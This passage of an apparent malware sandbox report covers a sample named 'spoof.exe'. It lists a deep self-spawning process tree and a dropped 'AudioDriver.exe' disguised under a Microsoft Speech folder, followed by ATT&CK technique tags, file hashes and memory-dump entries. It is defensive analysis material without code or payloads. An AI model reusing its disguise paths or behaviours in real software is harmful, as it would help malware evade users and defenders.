        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        71⤵
        
        PID:2008
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        70⤵
        
        PID:2104
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        69⤵
        
        PID:8236
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        68⤵
        
        PID:5296
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        67⤵
        
        PID:2616
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        66⤵
        
        PID:4744
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        65⤵
        
        PID:3284
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        64⤵
        
        PID:1544
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        63⤵
        
        PID:5792
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        62⤵
        
        PID:1200
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        61⤵
        
        PID:4356
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        60⤵
        
        PID:4180
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        59⤵
        
        PID:9596
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        58⤵
        
        PID:8356
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        57⤵
        
        PID:9916
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        56⤵
        
        PID:1896
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        55⤵
        
        PID:9756
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        54⤵
        
        PID:2680
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        53⤵
        
        PID:10116
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        52⤵
        
        PID:9796
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        51⤵
        
        PID:9400
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        50⤵
        
        PID:9224
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        49⤵
        
        PID:8660
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        48⤵
        
        PID:8428
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        47⤵
        
        PID:8364
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        46⤵
        
        PID:8536
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        45⤵
        
        PID:3656
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        44⤵
        
        PID:9136
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        43⤵
        
        PID:8844
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        42⤵
        
        PID:8552
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        41⤵
        
        PID:8328
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        40⤵
        
        PID:3000
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        39⤵
        
        PID:7972
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        38⤵
        
        PID:6316
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        37⤵
        
        PID:8036
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        36⤵
        
        PID:7288
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        35⤵
        
        PID:6672
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        34⤵
        
        PID:7916
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        33⤵
        
        PID:7616
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        32⤵
        
        PID:7356
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        31⤵
        
        PID:6868
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        30⤵
        
        PID:6692
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        29⤵
        
        PID:6988
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        28⤵
        
        PID:6440
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        27⤵
        
        PID:7152
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        26⤵
        
        PID:6888
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        25⤵
        
        PID:6624
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        24⤵
        
        PID:6372
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        23⤵
        
        PID:2556
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        22⤵
        
        PID:5440
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        21⤵
        
        PID:5848
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        20⤵
        
        PID:4556
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        19⤵
        
        PID:1252
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        18⤵
        
        PID:5508
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        17⤵
        
        PID:6112
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        16⤵
        
        PID:5760
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        15⤵
        
        PID:5328
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        14⤵
        
        PID:4012
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        13⤵
        
        PID:1124
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        12⤵
        
        PID:5012
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        11⤵
        
        PID:1304
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        10⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4324
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        9⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:984
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4464
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4400
      - C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3972
    - - C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2104
  - - C:\Users\Admin\AppData\Local\Temp\spoof.exe
      "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1636
- - C:\Users\Admin\AppData\Local\Temp\spoof.exe
    "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3544
- C:\Users\Admin\AppData\Local\Temp\spoof.exe
  "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Users\Admin\AppData\Roaming\Microsoft\Speech\AudioDriver.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Speech\AudioDriver.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4156
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Speech\AudioDriver.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Speech\AudioDriver.exe"
      4⤵
      PID:5204
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4156 -s 2024
      4⤵
      Program crash
      PID:6820
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4156 -s 2000
      4⤵
      Program crash
      PID:9032

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:640

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:6788

C:\Users\Admin\AppData\Local\Temp\spoof.exe
"C:\Users\Admin\AppData\Local\Temp\spoof.exe"
1⤵
PID:4452

C:\Users\Admin\AppData\Local\Temp\spoof.exe
"C:\Users\Admin\AppData\Local\Temp\spoof.exe"
1⤵
PID:8076

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:8140

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:5600

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
PID:7240
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffbe9d9cc40,0x7ffbe9d9cc4c,0x7ffbe9d9cc58
  2⤵
  PID:5256
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1928,i,17169866327899587891,14455787792871123327,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=1924 /prefetch:2
  2⤵
  PID:5732
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2160,i,17169866327899587891,14455787792871123327,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=2192 /prefetch:3
  2⤵
  PID:3192
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2256,i,17169866327899587891,14455787792871123327,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=2272 /prefetch:8
  2⤵
  PID:9088
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3088,i,17169866327899587891,14455787792871123327,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=3100 /prefetch:1
  2⤵
  PID:2056
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3240,i,17169866327899587891,14455787792871123327,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=3132 /prefetch:1
  2⤵
  PID:9404
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3852,i,17169866327899587891,14455787792871123327,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=3860 /prefetch:1
  2⤵
  PID:9648
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3868,i,17169866327899587891,14455787792871123327,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=3892 /prefetch:1
  2⤵
  PID:7188
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4472,i,17169866327899587891,14455787792871123327,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=4352 /prefetch:1
  2⤵
  PID:5180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 964 -p 4156 -ip 4156
1⤵
PID:9504

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:8656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 876 -p 4156 -ip 4156
1⤵
PID:3408

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:5876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
8KB

MD5
ce00c31823a03bf8d4a02f06126f47da

SHA1
78598e77822db2189f423ff8773cb1890a851752

SHA256
2a7692a4db9cab68fcbc10543fb1b0a12199c4ab17037edb23e5cf0c882d2e2f

SHA512
9c821b30c4f9f40fb7285a5a34238a2248b9b9878a3ea5b7d58aa3e873add03a3b5deb6fa1b8c26826bdaff5dc3d059f5a7b5b1bd5e3ab0699b26d6252f7dcf6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
233KB

MD5
109b5c21ee0ff6c9a9259dfa796cbf3a

SHA1
f1d24bf7d93dc05a158ff2d4bbb804737b6f0693

SHA256
7f0bd396805ed0113fef7dca35c041ca6e00b4f240e441821d8b250b1a5d1348

SHA512
05ec1a25257a16946fe90363e3daad51679e0fab4347cef4c54eb4a815771a19d95f797ca38a97d7c8604fdd2fe844953c44674aa7079a456f7246489325d9e4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
233KB

MD5
9c059a39c5dfb76ec0f5ac77d13f27dd

SHA1
4558eab0b12824171a7d5543b6e107206c9bc647

SHA256
4d497f87c635c5c99619a3427b7edb734016cae9b129cf6f2c17996a062148cd

SHA512
f25c715c77ace37c0475e17f5f7917a316241118cf0998faa2bc2d86400ed91cb7b92ad1cf3f9fc59edb02341a393e0bd122e8bab50e53920aa25a7a6de52b39

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\spoof.exe.log

Filesize
805B

MD5
c540eb958f4de97e0d73470e29e46f54

SHA1
d7484efb1c03c4d38d9c918dd21b1dcd08ad5d4b

SHA256
788d8d30870b1ff836bbee523023153bab39b8b8b9c77714b556b71e816b037a

SHA512
4f9311b2521918aafa13fae7f149f724795b8e2a10df173a54a78af2e4431605cca98aa7523d9fbb025b77a5a316a430d53d8989b94030c6f8ab3944b4cc087a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
2c4cb583c61e63a048f51d0eee1a2b3d

SHA1
79ca41e496166178c82bb35320967d1cfa5165cd

SHA256
632b34a9114eefb4d7be51a5c6dd1b254073231a68e995fc169df8ef44211ebe

SHA512
61aceefa08278b1e2e39e5352f5ccea914a5f60b9efc45c1c2e555e594788f04c38e518958b830f72f22ea762a02d5845d09a54d886e9a7e6976d78389a27a81

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_et2x5kps.a5r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\spoof.exe

Filesize
1.2MB

MD5
d66d5168a0fb7326e23963f4e8502e32

SHA1
8e5d448ff498a01afc000f9be8a3d5a6591c2a9a

SHA256
7d0f79a9febca115226349613a122d06c83e4fc9b8d955e6cc7654bad357ff9e

SHA512
5a06b4c83cdee5ff2d6b7c914a021c8e7f43370f2ee3a63d376fbf568648a162098b956d3eb1fe9cf5920c269868f40fc0dc43f73ac7413039eea71056a9eb19

Download Submit
C:\Users\Admin\AppData\Roaming\GamerView\sqlite3.dll

Filesize
626KB

MD5
d8aec01ff14e3e7ad43a4b71e30482e4

SHA1
e3015f56f17d845ec7eef11d41bbbc28cc16d096

SHA256
da1d608be064555ab3d3d35e6db64527b8c44f3fa5ddd7c3ec723f80fc99736e

SHA512
f5b2f4bda0cc13e1d1c541fb0caea14081ee4daffd497e31a3d4d55d5f9d85a61158b4891a6527efe623b2f32b697ac912320d9be5c0303812ca98dcc8866fcf

Download Submit
memory/420-248-0x0000000074480000-0x00000000744CC000-memory.dmp

Filesize
304KB

Download
memory/640-217-0x000001D572640000-0x000001D572641000-memory.dmp

Filesize
4KB

Download
memory/640-216-0x000001D572640000-0x000001D572641000-memory.dmp

Filesize
4KB

Download
memory/640-222-0x000001D572640000-0x000001D572641000-memory.dmp

Filesize
4KB

Download
memory/640-223-0x000001D572640000-0x000001D572641000-memory.dmp

Filesize
4KB

Download
memory/640-224-0x000001D572640000-0x000001D572641000-memory.dmp

Filesize
4KB

Download
memory/640-225-0x000001D572640000-0x000001D572641000-memory.dmp

Filesize
4KB

Download
memory/640-226-0x000001D572640000-0x000001D572641000-memory.dmp

Filesize
4KB

Download
memory/640-227-0x000001D572640000-0x000001D572641000-memory.dmp

Filesize
4KB

Download
memory/640-228-0x000001D572640000-0x000001D572641000-memory.dmp

Filesize
4KB

Download
memory/640-215-0x000001D572640000-0x000001D572641000-memory.dmp

Filesize
4KB

Download
memory/720-308-0x0000000074480000-0x00000000744CC000-memory.dmp

Filesize
304KB

Download
memory/956-97-0x00000000075C0000-0x0000000007663000-memory.dmp

Filesize
652KB

Download
memory/956-26-0x0000000005DA0000-0x0000000005E06000-memory.dmp

Filesize
408KB

Download
memory/956-85-0x00000000050B0000-0x00000000050E2000-memory.dmp

Filesize
200KB

Download
memory/956-99-0x0000000007740000-0x000000000775A000-memory.dmp

Filesize
104KB

Download
memory/956-98-0x0000000007D80000-0x00000000083FA000-memory.dmp

Filesize
6.5MB

Download
memory/956-18-0x00000000054F0000-0x0000000005BBA000-memory.dmp

Filesize
6.8MB

Download
memory/956-111-0x00000000077B0000-0x00000000077BA000-memory.dmp

Filesize
40KB

Download
memory/956-121-0x00000000079C0000-0x0000000007A56000-memory.dmp

Filesize
600KB

Download
memory/956-86-0x0000000074480000-0x00000000744CC000-memory.dmp

Filesize
304KB

Download
memory/956-23-0x0000000005360000-0x0000000005382000-memory.dmp

Filesize
136KB

Download
memory/956-96-0x00000000068B0000-0x00000000068CE000-memory.dmp

Filesize
120KB

Download
memory/956-16-0x00000000745C0000-0x0000000074D71000-memory.dmp

Filesize
7.7MB

Download
memory/956-17-0x0000000002DA0000-0x0000000002DD6000-memory.dmp

Filesize
216KB

Download
memory/956-28-0x0000000005E10000-0x0000000006167000-memory.dmp

Filesize
3.3MB

Download
memory/956-25-0x0000000005D30000-0x0000000005D96000-memory.dmp

Filesize
408KB

Download
memory/956-193-0x00000000745C0000-0x0000000074D71000-memory.dmp

Filesize
7.7MB

Download
memory/956-728-0x00000000745C0000-0x0000000074D71000-memory.dmp

Filesize
7.7MB

Download
memory/956-61-0x00000000063B0000-0x00000000063CE000-memory.dmp

Filesize
120KB

Download
memory/956-62-0x00000000068E0000-0x000000000692C000-memory.dmp

Filesize
304KB

Download
memory/1116-229-0x0000000074480000-0x00000000744CC000-memory.dmp

Filesize
304KB

Download
memory/2020-123-0x0000000074480000-0x00000000744CC000-memory.dmp

Filesize
304KB

Download
memory/2292-268-0x0000000074480000-0x00000000744CC000-memory.dmp

Filesize
304KB

Download
memory/2476-27-0x0000000005F70000-0x0000000006028000-memory.dmp

Filesize
736KB

Download
memory/2476-39-0x0000000006030000-0x000000000607E000-memory.dmp

Filesize
312KB

Download
memory/2476-15-0x0000000000DF0000-0x0000000000F22000-memory.dmp

Filesize
1.2MB

Download
memory/2476-24-0x0000000005E30000-0x0000000005E7C000-memory.dmp

Filesize
304KB

Download
memory/2476-22-0x0000000005ED0000-0x0000000005F62000-memory.dmp

Filesize
584KB

Download
memory/2476-21-0x00000000061A0000-0x0000000006746000-memory.dmp

Filesize
5.6MB

Download
memory/2476-19-0x00000000058F0000-0x00000000058FA000-memory.dmp

Filesize
40KB

Download
memory/2476-14-0x00000000745CE000-0x00000000745CF000-memory.dmp

Filesize
4KB

Download
memory/2916-182-0x0000000074480000-0x00000000744CC000-memory.dmp

Filesize
304KB

Download
memory/3100-163-0x0000000074480000-0x00000000744CC000-memory.dmp

Filesize
304KB

Download
memory/3544-329-0x0000000074480000-0x00000000744CC000-memory.dmp

Filesize
304KB

Download
memory/4156-205-0x0000000060900000-0x0000000060992000-memory.dmp

Filesize
584KB

Download
memory/4156-152-0x00000000063F0000-0x00000000065B2000-memory.dmp

Filesize
1.8MB

Download
memory/4156-153-0x0000000005C50000-0x0000000005C60000-memory.dmp

Filesize
64KB

Download
memory/4156-162-0x0000000006B80000-0x0000000006B8A000-memory.dmp

Filesize
40KB

Download
memory/4156-2140-0x0000000007940000-0x0000000007AC8000-memory.dmp

Filesize
1.5MB

Download
memory/4156-2115-0x0000000006DE0000-0x0000000006EEA000-memory.dmp

Filesize
1.0MB

Download
memory/4156-2114-0x0000000005350000-0x000000000538C000-memory.dmp

Filesize
240KB

Download
memory/4156-2112-0x0000000002C20000-0x0000000002C32000-memory.dmp

Filesize
72KB

Download
memory/4288-100-0x0000000074480000-0x00000000744CC000-memory.dmp

Filesize
304KB

Download
memory/4312-2113-0x0000000071D50000-0x0000000071DA2000-memory.dmp

Filesize
328KB

Download
memory/4584-288-0x0000000074480000-0x00000000744CC000-memory.dmp

Filesize
304KB

Download
memory/4876-360-0x0000000074480000-0x00000000744CC000-memory.dmp

Filesize
304KB

Download
memory/5600-1757-0x0000025584510000-0x0000025584511000-memory.dmp

Filesize
4KB

Download
memory/5600-1758-0x0000025584510000-0x0000025584511000-memory.dmp

Filesize
4KB

Download
memory/5600-1759-0x0000025584510000-0x0000025584511000-memory.dmp

Filesize
4KB

Download
memory/5600-1766-0x0000025584510000-0x0000025584511000-memory.dmp

Filesize
4KB

Download
memory/5600-1765-0x0000025584510000-0x0000025584511000-memory.dmp

Filesize
4KB

Download
memory/5600-1764-0x0000025584510000-0x0000025584511000-memory.dmp

Filesize
4KB

Download
memory/5600-1763-0x0000025584510000-0x0000025584511000-memory.dmp

Filesize
4KB

Download
memory/5600-1762-0x0000025584510000-0x0000025584511000-memory.dmp

Filesize
4KB

Download
memory/5600-1761-0x0000025584510000-0x0000025584511000-memory.dmp

Filesize
4KB

Download
memory/8140-1252-0x000001952EF20000-0x000001952EF21000-memory.dmp

Filesize
4KB

Download
memory/8140-1253-0x000001952EF20000-0x000001952EF21000-memory.dmp

Filesize
4KB

Download
memory/8140-1254-0x000001952EF20000-0x000001952EF21000-memory.dmp

Filesize
4KB

Download
memory/8140-1255-0x000001952EF20000-0x000001952EF21000-memory.dmp

Filesize
4KB

Download
memory/8140-1256-0x000001952EF20000-0x000001952EF21000-memory.dmp

Filesize
4KB

Download
memory/8140-1257-0x000001952EF20000-0x000001952EF21000-memory.dmp

Filesize
4KB

Download
memory/8140-1248-0x000001952EF20000-0x000001952EF21000-memory.dmp

Filesize
4KB

Download
memory/8140-1249-0x000001952EF20000-0x000001952EF21000-memory.dmp

Filesize
4KB

Download
